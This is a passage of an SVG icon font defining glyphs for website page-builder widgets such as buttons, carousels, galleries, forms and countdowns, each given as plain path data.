<glyph glyph-name="banner" unicode="&#xe81c;" d="M999 378c-2 6-7 11-13 13l-113 37 22 105c2 6 1 11-3 16-3 5-7 8-13 9-9 2-220 42-379 42s-370-40-379-42c-5-1-10-4-13-9s-4-10-3-16l22-105-113-37c-6-2-10-7-13-13-2-6-1-12 2-18l59-98-20-138c-1-7 2-15 7-19 4-3 9-5 14-5 2 0 4 0 7 1 1 1 169 62 243 62 6 0 12 3 16 8 4 5 5 11 4 18l-16 62c54 8 118 16 183 16 65 0 129-8 183-16l-16-63c-1-6 0-12 4-17s10-8 17-8c73 0 241-61 242-62 3-1 5-1 8-1 4 0 9 2 13 5 5 4 8 12 7 19l-20 138 59 98c3 6 4 12 2 18z m-713-175c-62-7-151-35-198-51l16 112c1 5 0 9-3 14l-49 81 84 28 31-145c1-6 5-11 10-14 3-2 7-3 11-3 1 0 3 0 5 1 1 0 33 9 83 18l10-41z m214 105c-125 0-248-25-297-37l-53 250c58 10 223 37 350 37 127 0 292-27 350-37l-53-250c-49 12-172 37-297 37z m399-31c-3-4-4-8-3-13l16-112c-47 16-136 44-198 51l10 41c50-9 82-18 83-18 6-2 12-1 16 2 5 3 9 8 10 14l31 145 84-28-49-82z" horiz-adv-x="1000" />

<glyph glyph-name="blockquote" unicode="&#xe81d;" d="M396 683h-292c-34 0-62-28-62-62v-292c0-34 28-62 62-62h104v-69c0-40-22-75-57-93l-98-49c-8-4-13-14-11-23 2-10 11-16 21-16h141c99 0 186 63 217 156 25 74 37 150 37 228v220c0 34-28 62-62 62z m21-282c0-73-12-145-35-214-26-77-97-129-178-129h-53l18 10c50 25 81 75 81 130v90c0 11-9 20-21 20h-125c-11 0-21 10-21 21v292c0 11 10 21 21 21h292c11 0 21-10 21-21 0 0 0-220 0-220z m479 282h-292c-34 0-62-28-62-62v-292c0-34 28-62 62-62h104v-69c0-40-22-75-57-93l-98-49c-8-4-13-14-11-23 2-10 11-16 21-16h141c99 0 186 63 217 156 25 74 37 150 37 228v220c0 34-28 62-62 62z m21-282c0-73-12-145-35-214-26-77-97-129-178-129h-53l18 10c50 25 81 75 81 130v90c0 11-9 20-21 20h-125c-11 0-21 10-21 21v292c0 11 10 21 21 21h292c11 0 21-10 21-21v-220z" horiz-adv-x="1000" />

<glyph glyph-name="button" unicode="&#xe81e;" d="M451 470c-6 5-15 7-22 3-8-3-12-11-12-19v-375c0-8 5-16 13-19 7-3 16-1 22 4l63 63 71-141c2-5 7-9 12-10 2-1 4-1 6-1 4 0 8 1 11 3l93 54c5 3 8 8 10 13 1 6 0 11-3 16l-74 122h88c9 0 17 6 20 14 3 8 0 17-6 23l-292 250z m153-245c-7 0-14-4-18-11-4-6-4-14 0-21l83-135-56-33-73 147c-3 6-9 10-16 11-1 0-2 0-3 0-6 0-11-2-15-6l-48-47v279l215-184c0 0-69 0-69 0z m292 500h-792c-57 0-104-47-104-104v-250c0-58 47-104 104-104h250c12 0 21 9 21 21s-9 20-21 20h-250c-34 0-62 28-62 63v250c0 34 28 62 62 62h792c34 0 62-28 62-62v-250c0-35-28-63-62-63h-146c-11 0-21-9-21-20s10-21 21-21h146c57 0 104 46 104 104v250c0 57-47 104-104 104z" horiz-adv-x="1000" />

<glyph glyph-name="call-to-action" unicode="&#xe81f;" d="M938 621h-875c-35 0-63-28-63-63v-416c0-35 28-63 63-63h875c34 0 62 28 62 63v416c0 35-28 63-62 63z m20-479c0-12-9-21-20-21h-875c-12 0-21 9-21 21v416c0 12 9 21 21 21h875c11 0 20-9 20-21v-416z m-229 354c-80 0-146-66-146-146s66-146 146-146 146 66 146 146-65 146-146 146z m0-250c-57 0-104 47-104 104s47 104 104 104 104-47 104-104-46-104-104-104z m-250 0h-333c-12 0-21-9-21-21s9-21 21-21h333c12 0 21 10 21 21s-9 21-21 21z m0 125h-333c-12 0-21-9-21-21s9-21 21-21h333c12 0 21 10 21 21s-9 21-21 21z m0 125h-333c-12 0-21-9-21-21s9-21 21-21h333c12 0 21 10 21 21s-9 21-21 21z" horiz-adv-x="1000" />

<glyph glyph-name="captcha" unicode="&#xe820;" d="M104 246c-11 0-21-9-21-21s-9-21-20-21-21 10-21 21v83c0 12 9 21 21 21s20-9 20-21 10-20 21-20 21 9 21 20c0 35-28 63-62 63s-63-28-63-63v-83c0-34 28-62 63-62s62 28 62 62c0 12-9 21-21 21z m417 104c11 0 21-9 21-21s9-21 21-21 20 10 20 21c0 35-28 63-62 63s-63-28-63-63v-83c0-35 28-63 63-63s62 28 62 63c0 11-9 21-20 21s-21-10-21-21-10-21-21-21-21 9-21 21v83c0 12 9 21 21 21z m478-159l-63 166c-6 17-33 17-39 0l-62-166c-4-11 1-23 12-27 11-4 23 1 27 12l10 28h65l11-28c3-8 11-13 19-13 3 0 5 0 8 1 10 4 16 16 12 27z m-99 55l17 45 17-45h-34z m-672 28c-6 16-33 16-39 0l-63-167c-4-10 2-22 13-26 10-4 22 1 26 12l11 28h65l10-28c4-9 11-14 20-14 2 0 5 1 7 2 11 4 16 16 12 26l-62 167z m-36-111l16 44 17-44h-33z m162 291h-41c-12 0-21-9-21-21v-166c0-12 9-21 21-21s20 9 20 21v62h21c35 0 63 28 63 63s-28 62-63 62z m0-83h-21v42h21c12 0 21-10 21-21s-9-21-21-21z m417-83c-12 0-21-10-21-21v-63h-83v63c0 11-10 21-21 21s-21-10-21-21v-167c0-11 9-21 21-21s21 10 21 21v63h83v-63c0-11 9-21 21-21s21 10 21 21v167c0 11-10 21-21 21z m-313 145c0-11 10-20 21-20s21 9 21 20v146h42c11 0 21 10 21 21s-10 21-21 21h-125c-12 0-21-9-21-21s9-21 21-21h41v-146z" horiz-adv-x="1000" />

<glyph glyph-name="carousel" unicode="&#xe821;" d="M98 406c-8 9-21 9-29 0l-42-41c-8-8-8-22 0-30l42-41c4-4 9-6 14-6s11 2 15 6c8 8 8 21 0 29l-27 27 27 27c8 8 8 21 0 29z m875-41l-42 41c-8 9-21 9-29 0s-8-21 0-29l27-27-27-27c-8-8-8-21 0-29 4-4 9-6 15-6s10 2 14 6l42 41c8 8 8 22 0 30z m-640 68h-166c-12 0-21-9-21-20v-125c0-12 9-21 21-21h166c12 0 21 9 21 21v125c0 11-9 20-21 20z m-20-125h-125v84h125v-84z m270 125h-166c-12 0-21-9-21-20v-125c0-12 9-21 21-21h166c12 0 21 9 21 21v125c0 11-9 20-21 20z m-20-125h-125v84h125v-84z m270 125h-166c-12 0-21-9-21-20v-125c0-12 9-21 21-21h166c12 0 21 9 21 21v125c0 11-9 20-21 20z m-20-125h-125v84h125v-84z" horiz-adv-x="1000" />

<glyph glyph-name="checkbox" unicode="&#xe822;" d="M229 142h-166c-35 0-63-28-63-63v-167c0-34 28-62 63-62h166c35 0 63 28 63 62v167c0 35-28 63-63 63z m21-230c0-11-9-20-21-20h-166c-12 0-21 9-21 20v167c0 12 9 21 21 21h166c12 0 21-9 21-21v-167z m146 730h583c12 0 21 9 21 21s-9 20-21 20h-583c-12 0-21-9-21-20s9-21 21-21z m583-292h-583c-12 0-21-9-21-21s9-21 21-21h583c12 0 21 10 21 21s-9 21-21 21z m0-333h-583c-12 0-21-10-21-21s9-21 21-21h583c12 0 21 9 21 21s-9 21-21 21z m-684 824l-30-44c-10 7-23 11-36 11h-166c-35 0-63-28-63-62v-167c0-34 28-62 63-62h166c35 0 63 28 63 62v167c0 5-1 10-2 14l40 57c6 10 4 23-6 29-9 7-22 5-29-5z m-45-262c0-11-9-21-21-21h-166c-12 0-21 10-21 21v167c0 11 9 21 21 21h166c5 0 8-2 12-4l-77-110-45 45c-8 8-21 8-30 0s-8-21 0-29l63-63c4-4 9-6 15-6 0 0 1 0 2 0 6 1 11 4 15 9l66 95v-125z m45-71l-30-44c-10 7-23 11-36 11h-166c-35 0-63-28-63-62v-167c0-35 28-63 63-63h166c35 0 63 28 63 63v167c0 5-1 9-2 14l40 57c6 9 4 22-6 29-9 7-22 4-29-5z m-45-262c0-12-9-21-21-21h-166c-12 0-21 9-21 21v167c0 11 9 20 21 20h166c5 0 8-1 12-3l-77-110-45 45c-8 8-21 8-30 0s-8-22 0-30l63-62c4-4 9-6 15-6 0 0 1 0 2 0 6 0 11 4 15 9l66 94v-124z" horiz-adv-x="1000" />

<glyph glyph-name="columns" unicode="&#xe823;" d="M438 683h-417c-12 0-21-9-21-20s9-21 21-21h417c11 0 20 9 20 21s-9 20-20 20z m0-125h-417c-12 0-21-9-21-20s9-21 21-21h417c11 0 20 9 20 21s-9 20-20 20z m0-125h-417c-12 0-21-9-21-20s9-21 21-21h417c11 0 20 9 20 21s-9 20-20 20z m0-125h-417c-12 0-21-9-21-20s9-21 21-21h417c11 0 20 9 20 21s-9 20-20 20z m0-125h-417c-12 0-21-9-21-20s9-21 21-21h417c11 0 20 9 20 21s-9 20-20 20z m-125-125h-292c-12 0-21-9-21-20s9-21 21-21h292c11 0 20 9 20 21s-9 20-20 20z m250 584h416c12 0 21 9 21 21s-9 20-21 20h-416c-12 0-21-9-21-20s9-21 21-21z m416-84h-416c-12 0-21-9-21-20s9-21 21-21h416c12 0 21 9 21 21s-9 20-21 20z m0-125h-416c-12 0-21-9-21-20s9-21 21-21h416c12 0 21 9 21 21s-9 20-21 20z m0-125h-416c-12 0-21-9-21-20s9-21 21-21h416c12 0 21 9 21 21s-9 20-21 20z m0-125h-416c-12 0-21-9-21-20s9-21 21-21h416c12 0 21 9 21 21s-9 20-21 20z m-125-125h-291c-12 0-21-9-21-20s9-21 21-21h291c12 0 21 9 21 21s-9 20-21 20z" horiz-adv-x="1000" />

<glyph glyph-name="countdown" unicode="&#xe824;" d="M779 624l50 68c7 9 5 22-4 29-9 7-22 5-29-4l-50-68c-54 37-116 61-183 71v88h20c12 0 21 10 21 21s-9 21-21 21h-41-84-41c-12 0-21-9-21-21s9-21 21-21h21v-88c-67-10-130-34-183-70l-51 67c-7 9-20 11-29 4s-11-20-4-29l50-68c-97-80-158-201-158-336 0-242 196-438 437-438s438 196 438 438c0 135-62 256-159 336z m-300 184h42v-84c-7 0-14 1-21 1s-14-1-21-1v84z m21-916c-218 0-396 177-396 396s178 395 396 395 396-177 396-395-178-396-396-396z m0 750c-11 0-21-10-21-21v-333c0-12 10-21 21-21h333c12 0 21 9 21 21 0 195-159 354-354 354z m21-334v291c156-10 281-135 291-291h-291z" horiz-adv-x="1000" />

<glyph glyph-name="counter" unicode="&#xe825;" d="M994 584l-125 125 0 0c-2 1-4 3-7 4-1 1-3 1-4 1-2 0-3 1-4 1-1 0-3-1-4-1-1-1-3-1-4-1-2-1-5-3-7-5l-124-124c-9-9-9-22 0-30s21-8 29 0l89 89v-637c0-11 10-21 21-21s21 10 21 21v637l89-89c5-4 10-6 15-6s11 2 15 6c8 8 8 21 0 30z m-884-79c-8 3-18 0-23-8l-83-125c-7-10-4-22 5-29 10-6 23-4 29 6l45 68v-265c0-11 10-21 21-21s21 10 21 21v333c0 10-6 18-15 20z m203 1c-58 0-105-46-105-104 0-11 10-21 21-21s21 10 21 21c0 35 28 63 63 63s62-28 62-63v-12c0-14-5-28-14-39l-148-186c-5-6-6-15-3-22 4-7 11-12 19-12h167c11 0 21 10 21 21s-10 21-21 21h-123l121 152c15 18 23 41 23 65v12c0 58-47 104-104 104z m395-104c0 58-46 104-104 104s-104-46-104-104c0-11 9-21 21-21s21 10 21 21c0 35 28 63 62 63s63-28 63-63-28-62-63-62c-11 0-21-10-21-21s10-21 21-21c35 0 63-28 63-63s-28-62-63-62-62 28-62 62c0 12-10 21-21 21s-21-9-21-21c0-57 47-104 104-104s104 47 104 104c0 35-16 65-41 84 25 19 41 49 41 83z" horiz-adv-x="1000" />

<glyph glyph-name="date" unicode="&#xe826;" d="M938 663h-875c-35 0-63-28-63-63v-500c0-34 28-62 63-62h875c34 0 62 28 62 62v500c0 35-28 63-62 63z m20-563c0-11-9-21-20-21h-875c-12 0-21 10-21 21v500c0 12 9 21 21 21h875c11 0 20-9 20-21v-500z m-555 436c-11 4-23-1-27-12l-125-333c-4-11 2-23 13-27 2-1 4-1 7-1 8 0 16 5 19 13l125 333c4 11-1 23-12 27z m334 0c-11 4-23-1-27-12l-125-333c-4-11 1-23 12-27 2-1 5-1 7-1 9 0 17 5 20 13l125 333c4 11-2 23-12 27z m-549-332h-84c-11 0-21-9-21-21 0-11 10-20 21-20h84c11 0 20 9 20 20s-9 21-20 21z m333 0h-167c-11 0-21-9-21-21 0-11 10-20 21-20h167c11 0 21 9 21 20s-10 21-21 21z m375 0h-208c-12 0-21-9-21-21 0-11 9-20 21-20h208c11 0 21 9 21 20s-10 21-21 21z" horiz-adv-x="1000" />

<glyph glyph-name="divider-shape" unicode="&#xe827;" d="M991 409c-9 6-22 4-29-5-15-21-62-75-103-75-40 0-88 54-103 75-8 11-26 11-34 0-15-21-62-75-103-75s-87 54-102 75c-4 5-11 9-17 9-7 0-13-4-17-9-15-21-63-75-103-75-40 0-88 54-103 75-4 5-10 9-17 9-6 0-13-4-17-9-15-21-62-75-102-75-41 0-88 54-103 75-7 9-20 11-29 5-10-7-12-20-5-29 7-10 68-92 137-92 49 0 95 43 119 70 24-27 70-70 120-70 50 0 96 43 120 71 24-28 70-71 119-71 50 0 96 43 120 71 24-28 70-71 120-71 69 0 130 82 137 92 7 9 5 22-5 29z" horiz-adv-x="1000" />

<glyph glyph-name="divider" unicode="&#xe828;" d="M42 454h916c12 0 21 10 21 21s-9 21-21 21h-916c-12 0-21-9-21-21s9-21 21-21z m333 167h250c8 0 15 5 19 12s2 15-2 21l-125 167c-8 11-26 11-34 0l-125-167c-4-6-5-14-2-21 4-7 11-12 19-12z m125 153l83-111h-166l83 111z m125-695h-250c-8 0-15-4-19-11-3-7-2-16 2-22l125-167c4-5 11-8 17-8s13 3 17 8l125 167c4 6 5 15 2 22-4 7-11 11-19 11z m-125-152l-83 111h166l-83-111z m458 319h-916c-12 0-21-9-21-21s9-21 21-21h916c12 0 21 10 21 21s-9 21-21 21z" horiz-adv-x="1000" />

<glyph glyph-name="download-button" unicode="&#xe829;" d="M875 704h-750c-57 0-104-47-104-104v-250c0-57 47-104 104-104h292c11 0 21 9 21 21s-10 21-21 21h-292c-34 0-62 28-62 62v250c0 35 28 63 62 63h750c35 0 63-28 63-63v-250c0-34-28-62-63-62h-292c-11 0-20-10-20-21s9-21 20-21h292c57 0 104 47 104 104v250c0 57-47 104-104 104z m-265-548l-89-89v366c0 12-9 21-21 21s-21-9-21-21v-366l-89 89c-8 9-22 9-30 0s-8-21 0-29l125-125c4-4 10-6 15-6s11 2 15 6l125 125c8 8 8 21 0 29-8 9-22 9-30 0z" horiz-adv-x="1000" />

<glyph glyph-name="dual-button" unicode="&#xe82a;" d="M326 470c-6 5-15 7-22 3-8-3-12-11-12-19v-375c0-8 5-16 13-19 7-3 16-1 22 4l63 63 71-141c2-5 7-9 12-10 2-1 4-1 6-1 4 0 8 1 11 3l93 54c5 3 9 8 10 13 1 6 0 11-3 16l-74 122h88c9 0 17 6 20 14 3 8 0 17-6 23l-292 250z m153-245c-7 0-14-4-18-11-4-6-4-14 0-21l83-135-56-33-73 147c-3 6-9 10-16 11-1 0-2 0-3 0-6 0-11-2-15-6l-48-47v279l215-184c0 0-69 0-69 0z m417 500h-792c-57 0-104-47-104-104v-250c0-58 47-104 104-104h125c12 0 21 9 21 21s-9 20-21 20h-125c-34 0-62 28-62 63v250c0 34 28 62 62 62h396v-104c0 0 0 0 0 0v-125c0 0 0 0 0 0v-62c0-12 9-21 21-21s21 9 21 21v54l238 237h66l-298-297c-8-9-8-22 0-30 4-4 9-6 15-6s10 2 14 6l327 327c17-3 32-12 42-25-1-1-2-1-2-2l-334-333c-7-7-7-17-3-25-1-3-3-7-3-10 0-12 10-21 21-21h271c57 0 104 47 104 104v250c0 57-47 104-104 104z m-300-42l-54-53v53h54z m-54-178v66l113 112h66l-179-178z m304-197h-66l178 179v-66l-112-113z m112 304v-66l-237-238h-66l303 304z m-53-303l52 52c-4-26-25-47-52-52z" horiz-adv-x="1000" />

<glyph glyph-name="email-field" unicode="&#xe82b;" d="M938 663h-875c-35 0-63-28-63-63v-500c0-34 28-62 63-62h875c34 0 62 28 62 62v500c0 35-28 63-62 63z m20-563c0-11-9-21-20-21h-875c-12 0-21 10-21 21v500c0 12 9 21 21 21h875c11 0 20-9 20-21v-500z m-645 479c-127 0-230-103-230-229s103-229 230-229c59 0 116 23 159 64 8 8 8 22 0 30s-21 8-29 0c-35-34-81-52-130-52-104 0-188 84-188 187s84 188 188 188c102 0 185-83 187-185 0-1-1-2-1-3 0-23-19-42-42-42-21 0-39 17-41 39 0 1 1 2 1 3 0 57-47 104-104 104s-105-47-105-104 47-104 105-104c35 0 67 18 85 45 16-15 36-24 59-24 43 0 79 33 83 75 1 2 2 5 2 8 0 126-103 229-229 229z m0-291c-35 0-63 28-63 62s28 63 63 63c33 0 60-27 62-60 0-1-1-2-1-3 0-2 0-3 1-5-3-32-30-57-62-57z" horiz-adv-x="1000" />

<glyph glyph-name="facebook-comments" unicode="&#xe82c;" d="M896 725h-792c-57 0-104-47-104-104v-417c0-57 47-104 104-104h262l119-119c4-4 10-6 15-6s11 2 15 6l119 119h262c57 0 104 47 104 104v417c0 57-47 104-104 104z m62-521c0-34-28-62-62-62h-271c-5 0-11-2-15-6l-110-111-110 111c-4 4-9 6-15 6h-271c-34 0-62 28-62 62v417c0 34 28 62 62 62h792c34 0 62-28 62-62v-417z m-645 396h-42c-58 0-104-47-104-104v-21h-21c-12 0-21-9-21-21s9-21 21-21h21v-187c0-12 9-21 21-21s20 9 20 21v187h63c11 0 21 10 21 21s-10 21-21 21h-63v21c0 34 28 62 63 62h42c11 0 20 10 20 21s-9 21-20 21z m416-292h-291c-12 0-21-9-21-20s9-21 21-21h291c12 0 21 9 21 21s-9 20-21 20z m125 125h-416c-12 0-21-9-21-20s9-21 21-21h416c12 0 21 9 21 21s-9 20-21 20z m0 125h-416c-12 0-21-9-21-20s9-21 21-21h416c12 0 21 9 21 21s-9 20-21 20z" horiz-adv-x="1000" />

<glyph glyph-name="facebook-like-box" unicode="&#xe82d;" d="M896 850h-792c-57 0-104-47-104-104v-792c0-57 47-104 104-104h792c57 0 104 47 104 104v792c0 57-47 104-104 104z m62-896c0-34-28-62-62-62h-792c-34 0-62 28-62 62v792c0 34 28 62 62 62h792c34 0 62-28 62-62v-792z m-197 479h-156l1 20c13 27 19 56 19 85 0 30-7 61-21 88l-11 23c-11 21-32 34-56 34h-16c-34 0-63-28-63-62v-75c0-3 0-6-1-8l-75-188h-7v21c0 11-9 21-21 21h-208c-12 0-21-10-21-21v-375c0-12 9-21 21-21h208c12 0 21 9 21 21v50l53-27c3-2 6-2 10-2h300c53 0 98 40 104 92l23 209c3 29-6 59-26 81-20 22-48 34-78 34z m-428-416h-166v333h166v-333z m490 305l-23-208c-3-32-30-56-62-56h-296l-67 34v216h21c8 0 16 6 19 14l81 200c3 8 4 16 4 24v75c0 11 9 21 21 21h16c8 0 15-5 18-12l12-23c11-21 16-45 16-69s-5-48-16-70c-1-3-2-5-2-8l-2-46c-1-6 1-12 5-16s10-6 15-6h178c18 0 35-8 47-21 12-13 17-31 15-49z" horiz-adv-x="1000" />

<glyph glyph-name="form-horizontal" unicode="&#xe82e;" d="M21 808h958c12 0 21 10 21 21s-9 21-21 21h-958c-12 0-21-9-21-21s9-21 21-21z m958-83h-958c-12 0-21-9-21-21s9-21 21-21h958c12 0 21 10 21 21s-9 21-21 21z m0-125h-958c-12 0-21-9-21-21v-500c0-11 9-21 21-21h958c12 0 21 10 21 21v500c0 12-9 21-21 21z m-937-42h916v-345l-112-113h-804v458z m863-458l53 54v-54h-53z m-613-83h-209c-46 0-83-38-83-84s37-83 83-83h209c46 0 83 37 83 83s-37 84-83 84z m0-125h-209c-23 0-41 18-41 41s18 42 41 42h209c23 0 41-19 41-42s-18-41-41-41z" horiz-adv-x="1000" />

<glyph glyph-name="form-vertical" unicode="&#xe82f;" d="M271 433h-250c-12 0-21-9-21-20v-125c0-12 9-21 21-21h250c11 0 21 9 21 21v125c0 11-10 20-21 20z m-21-125h-208v84h208v-84z m354 125h-250c-11 0-21-9-21-20v-125c0-12 10-21 21-21h250c12 0 21 9 21 21v125c0 11-9 20-21 20z m-21-125h-208v84h208v-84z m334 125h-167c-46 0-83-37-83-83s37-83 83-83h167c46 0 83 37 83 83s-37 83-83 83z m0-125h-167c-23 0-42 19-42 42s19 42 42 42h167c23 0 41-19 41-42s-18-42-41-42z" horiz-adv-x="1000" />

<glyph glyph-name="gallery-grid" unicode="&#xe830;" d="M292 663h-250c-12 0-21-10-21-21v-250c0-12 9-21 21-21h250c11 0 21 9 21 21v250c0 11-10 21-21 21z m-21-250h-208v208h208v-208z m354 250h-250c-11 0-21-10-21-21v-250c0-12 10-21 21-21h250c12 0 21 9 21 21v250c0 11-9 21-21 21z m-21-250h-208v208h208v-208z m354 250h-250c-11 0-20-10-20-21v-250c0-12 9-21 20-21h250c12 0 21 9 21 21v250c0 11-9 21-21 21z m-20-250h-209v208h209v-208z m-646-84h-250c-12 0-21-9-21-21v-250c0-11 9-20 21-20h250c11 0 21 9 21 20v250c0 12-10 21-21 21z m-21-250h-208v209h208v-209z m354 250h-250c-11 0-21-9-21-21v-250c0-11 10-20 21-20h250c12 0 21 9 21 20v250c0 12-9 21-21 21z m-21-250h-208v209h208v-209z m354 250h-250c-11 0-20-9-20-21v-250c0-11 9-20 20-20h250c12 0 21 9 21 20v250c0 12-9 21-21 21z m-20-250h-209v209h209v-209z" horiz-adv-x="1000" />

<glyph glyph-name="gallery-group" unicode="&#xe831;" d="M979 621h-208c-12 0-21-9-21-21v-208c0-12 9-21 21-21h208c12 0 21 9 21 21v208c0 12-9 21-21 21z m-21-208h-166v166h166v-166z m21-84h-208c-12 0-21-9-21-21v-208c0-11 9-21 21-21h208c12 0 21 10 21 21v208c0 12-9 21-21 21z m-21-208h-166v167h166v-167z m-270 500h-667c-12 0-21-9-21-21v-500c0-11 9-21 21-21h667c11 0 20 10 20 21v500c0 12-9 21-20 21z m-21-500h-625v458h625v-458z" horiz-adv-x="1000" />

<glyph glyph-name="gallery-justified" unicode="&#xe832;" d="M21 517h208c12 0 21 9 21 21v208c0 11-9 21-21 21h-208c-12 0-21-10-21-21v-208c0-12 9-21 21-21z m21 208h166v-167h-166v167z m271-208h375c11 0 20 9 20 21v208c0 11-9 21-20 21h-375c-12 0-21-10-21-21v-208c0-12 9-21 21-21z m20 208h334v-167h-334v167z m646 42h-208c-12 0-21-10-21-21v-208c0-12 9-21 21-21h208c12 0 21 9 21 21v208c0 11-9 21-21 21z m-21-209h-166v167h166v-167z m-270-83h-209c-11 0-21-9-21-21v-208c0-12 10-21 21-21h209c11 0 20 9 20 21v208c0 12-9 21-20 21z m-21-208h-167v166h167v-166z m-646-42h375c11 0 21 9 21 21v208c0 12-10 21-21 21h-375c-12 0-21-9-21-21v-208c0-12 9-21 21-21z m21 208h333v-166h-333v166z m937 42h-208c-12 0-21-9-21-21v-208c0-12 9-21 21-21h208c12 0 21 9 21 21v208c0 12-9 21-21 21z m-21-208h-166v166h166v-166z m-770-84h-167c-12 0-21-9-21-20v-209c0-11 9-21 21-21h167c11 0 20 10 20 21v209c0 11-9 20-20 20z m-21-208h-125v167h125v-167z m437 208h-333c-12 0-21-9-21-20v-209c0-11 9-21 21-21h333c12 0 21 10 21 21v209c0 11-9 20-21 20z m-21-208h-291v167h291v-167z m396 208h-291c-12 0-21-9-21-20v-209c0-11 9-21 21-21h291c12 0 21 10 21 21v209c0 11-9 20-21 20z m-21-208h-250v167h250v-167z" horiz-adv-x="1000" />

<glyph glyph-name="gallery-masonry" unicode="&#xe833;" d="M292 746h-250c-12 0-21-9-21-21v-250c0-11 9-21 21-21h250c11 0 21 10 21 21v250c0 12-10 21-21 21z m-21-250h-208v208h208v-208z m354 250h-250c-11 0-21-9-21-21v-417c0-11 10-20 21-20h250c12 0 21 9 21 20v417c0 12-9 21-21 21z m-21-417h-208v375h208v-375z m354 417h-250c-11 0-20-9-20-21v-333c0-12 9-21 20-21h250c12 0 21 9 21 21v333c0 12-9 21-21 21z m-20-333h-209v291h209v-291z m-646 0h-250c-12 0-21-10-21-21v-250c0-12 9-21 21-21h250c11 0 21 9 21 21v250c0 11-10 21-21 21z m-21-250h-208v208h208v-208z m354 83h-250c-11 0-21-9-21-21v-250c0-12 10-21 21-21h250c12 0 21 9 21 21v250c0 12-9 21-21 21z m-21-250h-208v208h208v-208z m354 333h-250c-11 0-20-9-20-21v-250c0-11 9-20 20-20h250c12 0 21 9 21 20v250c0 12-9 21-21 21z m-20-250h-209v209h209v-209z" horiz-adv-x="1000" />

<glyph glyph-name="icon-box" unicode="&#xe834;" d="M854-108c13 0 21-9 21-21 0-9-8-17-17-21l-4 0h-708c-13 0-21 8-21 21 0 8 8 16 17 21l4 0h708z m0 104c13 0 21-9 21-21s-8-21-21-21h-708c-13 0-21 8-21 21s8 21 21 21h708z m-166 146c12 0 20-9 20-21s-8-21-20-21h-375c-13 0-21 8-21 21s8 21 21 21h375z m-188 708c171 0 313-142 313-312 0-171-142-313-313-313-171 0-312 142-312 313 0 170 141 312 312 312z m0-42c-150 0-271-120-271-270 0-150 121-271 271-271 150 0 271 121 271 271 0 150-121 270-271 270z m0-83c8 0 17-4 17-12l46-88 100-12c8 0 12-9 16-13 4-8 0-17-4-21l-71-71 17-100c0-8 0-16-8-20-9-5-17-5-21 0l-92 41-87-46c-9-4-17-4-21 0-9 5-9 13-9 21l17 100-75 71c-4 4-4 13-4 21 4 8 8 12 17 12l100 13 45 87c0 13 9 17 17 17z m0-67l-29-62c-4-4-8-8-17-13l-66-8 50-46c4-4 8-12 4-16l-13-67 63 33c4 4 12 4 21 0l62-33-12 67c0 8 0 12 4 16l50 46-67 8c-8 0-12 5-17 13l-33 62z" horiz-adv-x="1000" />

<glyph glyph-name="image-before-after" unicode="&#xe835;" d="M229 392c58 0 104 46 104 104s-46 104-104 104-104-47-104-104 47-104 104-104z m0 166c35 0 63-28 63-62s-28-63-63-63-62 28-62 63 28 62 62 62z m750 167h-479v83h21c11 0 21 10 21 21s-10 21-21 21h-83c-12 0-21-9-21-21s9-21 21-21h20v-83h-437c-12 0-21-9-21-21v-708c0-12 9-21 21-21h437v-83h-20c-12 0-21-10-21-21s9-21 21-21h83c11 0 21 9 21 21s-10 21-21 21h-21v83h479c12 0 21 9 21 21v708c0 12-9 21-21 21z m-521-42v-285l-127-201-128 146c-4 5-11 7-18 7-6-1-12-5-16-10l-127-224v567h416z m-416-666v15l149 262 127-145c4-5 11-8 17-7 7 0 12 4 16 9l107 169v-303h-416z m916 0h-458v666h458v-666z" horiz-adv-x="1000" />

<glyph glyph-name="image-box" unicode="&#xe836;" d="M875 829c0 12-9 21-21 21h-708c-12 0-21-9-21-21v-458c0-3 1-5 2-8 0-1 0-1 0-1 1-2 2-4 4-6 4-4 10-6 15-6l0 0h708c5 0 9 2 12 4 0 0 1 0 1 1 0 0 1 0 1 0 1 1 2 3 3 4 1 1 1 2 2 3 0 1 1 2 1 4 0 1 1 2 1 4 0 0 0 0 0 1v458z m-42-21v-377l-192 244c-3 5-9 8-15 8-7 1-12-2-16-7l-155-172-110 70c-9 5-19 4-26-3l-152-150v387h666z m-22-416h-614l139 138 111-71c9-5 20-4 27 4l150 167 187-238z m-40-125h-542c-11 0-21-10-21-21s10-21 21-21h542c11 0 21 9 21 21s-10 21-21 21z m0-125h-542c-11 0-21-10-21-21s10-21 21-21h542c11 0 21 9 21 21s-10 21-21 21z m0-125h-542c-11 0-21-10-21-21s10-21 21-21h542c11 0 21 9 21 21s-10 21-21 21z m0-125h-542c-11 0-21-10-21-21s10-21 21-21h542c11 0 21 9 21 21s-10 21-21 21z m-438 708c46 0 84 37 84 83s-38 84-84 84-83-38-83-84 37-83 83-83z m0 125c23 0 42-19 42-42s-19-41-42-41-41 18-41 41 18 42 41 42z" horiz-adv-x="1000" />

<glyph glyph-name="image-hotspot" unicode="&#xe837;" d="M229 308c58 0 104 47 104 105s-46 104-104 104-104-47-104-104 47-105 104-105z m0 167c35 0 63-28 63-62s-28-63-63-63-62 28-62 63 28 62 62 62z m750 167h-147c1 7 1 14 1 21 0 80-65 145-145 145s-146-65-146-145c0-7 0-14 1-21h-522c-12 0-21-10-21-21v-709c0-11 9-20 21-20h958c12 0 21 9 21 20v709c0 11-9 21-21 21z m-291 125c57 0 104-47 104-104 0-75-71-199-104-253-34 54-105 178-105 253 0 57 47 104 105 104z m-136-167c29-106 114-234 118-241 4-5 11-9 18-9s13 4 17 9c4 7 89 135 118 241h135v-547l-171 206c-8 10-24 10-32 0l-85-102-131 224c-4 7-10 11-18 11-6-1-14-4-18-10l-172-268-128 146c-4 5-11 7-18 7-6-1-12-5-16-11l-127-223v567h510z m-510-667v16l149 261 127-145c4-4 10-7 17-7 6 1 12 4 16 10l169 263 129-221c3-6 9-9 16-10 7 0 13 2 18 8l88 105 187-225v-55h-916z m708 730c0 34-28 62-62 62s-63-28-63-62 28-63 63-63 62 28 62 63z m-83 0c0 11 9 20 21 20s20-9 20-20-9-21-20-21-21 9-21 21z" horiz-adv-x="1000" />

